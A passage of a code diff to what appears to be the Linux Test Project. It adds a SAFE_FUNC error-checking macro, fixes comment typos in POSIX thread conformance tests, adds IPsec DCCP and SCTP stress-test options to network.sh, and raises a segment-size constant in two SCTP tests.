@@ -289,12 +287,12 @@
 	int ret;
 	int status;
 	pid_t child;
-	unsigned long usec_start, usec;
+	unsigned long long usec_start, usec;
 	unsigned long child_count_sig;
 
 	usec_start = current_time_usec();
 	do {
-		SAFE(pipe(stat_pipe));
+		SAFE_FUNC(pipe(stat_pipe));
 
 		child_count++;
 		count_ope += NSCENAR;
@@ -303,7 +301,7 @@
 		if (child == 0) {
 			close(stat_pipe[0]);
 			do_child();
-			SAFE(write(stat_pipe[1], &count_sig,
+			SAFE_FUNC(write(stat_pipe[1], &count_sig,
 				   sizeof(count_sig)));
 			close(stat_pipe[1]);
 			pthread_exit(0);
@@ -311,7 +309,7 @@
 			exit(0);
 		}
 		close(stat_pipe[1]);
-		SAFE(read(stat_pipe[0], &child_count_sig, sizeof(count_sig)));
+		SAFE_FUNC(read(stat_pipe[0], &child_count_sig, sizeof(count_sig)));
 		close(stat_pipe[0]);
 		count_sig += child_count_sig;
 
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_exit/1-1.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_exit/1-1.c
index a5c76c0..a9db780 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_exit/1-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_exit/1-1.c
@@ -64,7 +64,7 @@
 	}
 
 	/* Check to make sure that 'value_ptr' that was passed to pthread_join() and the
-	 * pthread_exit() return code that was used in the thread funciton are the same. */
+	 * pthread_exit() return code that was used in the thread function are the same. */
 	if ((long)value_ptr != RETURN_CODE) {
 		printf
 		    ("Test FAILED: pthread_exit() could not pass the return value of the thread in 'value_ptr' to pthread_join().\n");
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_join/2-1.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_join/2-1.c
index 1e9ea6c..c5359da 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_join/2-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_join/2-1.c
@@ -68,7 +68,7 @@
 	/*
 	 * Check to make sure that 'value_ptr' that was passed to
 	 * pthread_join() and the pthread_exit() return code that
-	 * was used in the thread funciton are the same.
+	 * was used in the thread function are the same.
 	 */
 	if (value_ptr != RETURN_CODE) {
 		printf("Test FAILED: pthread_join() did not return the "
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_key_create/3-1.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_key_create/3-1.c
index ac96bd6..c6ec2f0 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_key_create/3-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_key_create/3-1.c
@@ -31,7 +31,7 @@
 pthread_key_t key;
 int dest_cnt;
 
-/* Destructor funciton */
+/* Destructor function */
 void dest_func(void *p)
 {
 	dest_cnt++;
@@ -55,7 +55,7 @@
 {
 	pthread_t new_th;
 
-	/* Inialize the destructor flag */
+	/* Initialize the destructor flag */
 	dest_cnt = 0;
 
 	/* Create a key with a destructor function */
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_key_delete/2-1.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_key_delete/2-1.c
index 94734e5..77f52b1 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_key_delete/2-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_key_delete/2-1.c
@@ -29,7 +29,7 @@
 pthread_key_t key;
 int dest_cnt;
 
-/* Destructor funciton */
+/* Destructor function */
 void dest_func(void *p)
 {
 	dest_cnt++;
@@ -57,7 +57,7 @@
 {
 	pthread_t new_th;
 
-	/* Inialize the destructor flag */
+	/* Initialize the destructor flag */
 	dest_cnt = 0;
 
 	/* Create a key with a destructor function */
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_trywrlock/1-1.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_trywrlock/1-1.c
index 72eeddc..e0aadb1 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_trywrlock/1-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_trywrlock/1-1.c
@@ -7,7 +7,7 @@
  * Test pthread_rwlock_trywrlock(pthread_rwlock_t *rwlock)
  *
  * The function shall apply a write lock like the pthread_rwlock_wrlock(), with the exception
- * that the funciton shall fail if any thread currently holds rwlock(for reading and writing).
+ * that the function shall fail if any thread currently holds rwlock(for reading and writing).
  *
  * Steps:
  * 1.  Initialize a pthread_rwlock_t object 'rwlock' with pthread_rwlock_init()
diff --git a/testcases/open_posix_testsuite/include/safe_helpers.h b/testcases/open_posix_testsuite/include/safe_helpers.h
index 7f945a0..966cb92 100644
--- a/testcases/open_posix_testsuite/include/safe_helpers.h
+++ b/testcases/open_posix_testsuite/include/safe_helpers.h
@@ -30,4 +30,16 @@
 	} \
 } while (0)
 
+#define SAFE_FUNC(op) \
+({ \
+	int ret = (op); \
+	if (ret == -1) { \
+		printf("Test %s unresolved: got %i (%s) on line %i\n  %s\n", \
+			__FILE__, ret, strerror(errno), __LINE__, #op); \
+		fflush(stdout); \
+		exit(PTS_UNRESOLVED); \
+	} \
+	ret; \
+})
+
 #endif
diff --git a/testscripts/network.sh b/testscripts/network.sh
index 3d09d09..eb991b6 100755
--- a/testscripts/network.sh
+++ b/testscripts/network.sh
@@ -35,6 +35,8 @@
 	echo "  -i    IPsec ICMP stress tests"
 	echo "  -T    IPsec TCP stress tests"
 	echo "  -U    IPsec UDP stress tests"
+	echo "  -D    IPsec DCCP stress tests"
+	echo "  -S    IPsec SCTP stress tests"
 	echo "  -R    route stress tests"
 	echo "  -M    multicast stress tests"
 	echo "  -F    network features tests (TFO, vxlan, etc.)"
@@ -46,7 +48,7 @@
 	echo "  -h    print this help"
 }
 
-while getopts 6mnrstaebcdiTURMFf:qQVvh OPTION
+while getopts 6mnrstaebcdiTUDSRMFf:qQVvh OPTION
 do
 	case $OPTION in
 	6) TEST_CASES="$TEST_CASES net.ipv6 net.ipv6_lib";;
@@ -63,6 +65,8 @@
 	i) TEST_CASES="$TEST_CASES net_stress.ipsec_icmp";;
 	T) TEST_CASES="$TEST_CASES net_stress.ipsec_tcp";;
 	U) TEST_CASES="$TEST_CASES net_stress.ipsec_udp";;
+	D) TEST_CASES="$TEST_CASES net_stress.ipsec_dccp";;
+	S) TEST_CASES="$TEST_CASES net_stress.ipsec_sctp";;
 	R) TEST_CASES="$TEST_CASES net_stress.route";;
 	M) TEST_CASES="$TEST_CASES net_stress.multicast";;
 	F) TEST_CASES="$TEST_CASES net.features";;
diff --git a/utils/sctp/func_tests/test_sctp_sendrecvmsg.c b/utils/sctp/func_tests/test_sctp_sendrecvmsg.c
index 21ba867..70b0ce7 100644
--- a/utils/sctp/func_tests/test_sctp_sendrecvmsg.c
+++ b/utils/sctp/func_tests/test_sctp_sendrecvmsg.c
@@ -61,7 +61,7 @@
 
 /* RCVBUF value, and indirectly RWND*2 */
 #define SMALL_RCVBUF 3000
-#define SMALL_MAXSEG 100
+#define SMALL_MAXSEG 500
 /* This is extra data length to ensure rwnd closes */
 #define RWND_SLOP    100
 static char *fillmsg = NULL;
diff --git a/utils/sctp/func_tests/test_timetolive.c b/utils/sctp/func_tests/test_timetolive.c
index d13168e..3a920d6 100644
--- a/utils/sctp/func_tests/test_timetolive.c
+++ b/utils/sctp/func_tests/test_timetolive.c
@@ -77,7 +77,7 @@
 #define SMALL_RCVBUF 3000
 
 /* MAX segment size */
-#define SMALL_MAXSEG 100
+#define SMALL_MAXSEG 500
 
 /* RWND_SLOP is the extra data that fills up the rwnd */
 #define RWND_SLOP 100